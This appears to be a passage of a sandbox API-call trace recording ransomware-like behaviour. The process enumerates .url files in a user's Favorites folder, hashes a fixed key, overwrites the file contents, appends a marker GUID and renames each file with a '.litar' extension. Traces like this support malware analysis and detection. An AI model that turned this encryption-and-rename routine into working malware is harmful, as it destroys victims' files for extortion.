[0125.911] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.911] CloseHandle (hObject=0x624) returned 1 [0125.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bce70 [0125.911] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0125.911] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bce70 | out: hHeap=0x5c0000) returned 1 [0125.911] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.litar")) returned 1 [0125.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.912] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0125.913] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0125.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.913] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0125.913] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.913] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned=".url" [0125.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.913] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0125.913] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.915] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.915] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.916] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.916] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.916] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0125.916] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.916] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.916] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.916] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.916] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.917] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.917] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.917] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.917] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.917] GetLastError () returned 0x0 [0125.917] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.917] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.917] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.917] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.917] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0125.917] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.917] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.918] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.918] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.918] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.918] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.918] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.918] CloseHandle (hObject=0x624) returned 1 [0125.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0125.919] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0125.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0125.919] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.litar")) returned 1 [0125.919] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.919] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.920] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0125.920] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0125.920] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.921] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0125.921] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.921] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned=".url" [0125.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.921] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0125.921] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.923] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.923] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.923] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.924] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.924] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.924] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0125.924] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.924] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.924] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.924] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.924] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.925] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.925] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.925] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.925] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.925] GetLastError () returned 0x0 [0125.925] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.925] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.925] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.925] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0125.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.925] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.925] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.925] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.925] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.925] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.926] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.926] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.926] CloseHandle (hObject=0x624) returned 1 [0125.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0125.926] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0125.926] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0125.926] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.litar")) returned 1 [0125.927] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.927] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0125.928] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0125.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.928] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0125.928] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.928] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned=".url" [0125.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.928] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=133) returned 1 [0125.928] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.930] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.930] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.931] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.931] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.931] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.931] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x85, lpOverlapped=0x0) returned 1 [0125.931] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.931] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.931] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.931] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.931] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.932] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.932] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.932] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.932] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.932] GetLastError () returned 0x0 [0125.932] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.932] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.932] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ff7df0 [0125.932] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.932] WriteFile (in: hFile=0x624, lpBuffer=0x2ff7df0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x2ff7df0*, lpNumberOfBytesWritten=0x398fb24*=0x80, lpOverlapped=0x0) returned 1 [0125.932] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ff7df0 | out: hHeap=0x5c0000) returned 1 [0125.932] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.933] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee28 [0125.933] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30fa0b0 [0125.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30fa0b0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.933] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa4e0 [0125.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee28 | out: hHeap=0x5c0000) returned 1 [0125.933] WriteFile (in: hFile=0x624, lpBuffer=0x30fa4e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa4e0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.933] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa4e0 | out: hHeap=0x5c0000) returned 1 [0125.933] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.933] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.933] CloseHandle (hObject=0x624) returned 1 [0125.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0125.934] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0125.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0125.934] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.litar")) returned 1 [0125.934] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.934] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.935] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0125.935] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0125.935] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.935] 